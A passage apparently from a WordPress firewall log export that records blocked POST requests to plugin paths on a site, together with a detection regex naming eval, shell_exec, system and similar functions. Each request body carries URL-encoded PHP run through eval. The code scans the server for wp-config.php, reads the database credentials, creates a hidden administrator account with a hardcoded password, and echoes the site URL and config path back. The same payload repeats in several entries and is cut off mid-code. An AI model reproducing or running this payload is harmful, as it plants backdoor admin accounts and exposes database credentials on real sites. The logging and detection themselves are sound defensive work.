0%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncontent-length:12663\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\naccept:*\/*\n\nQlAazG=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 17:25:02","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HJTgNT:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncontent-length:12663\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\naccept:*\/*\n\nHJTgNT=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpr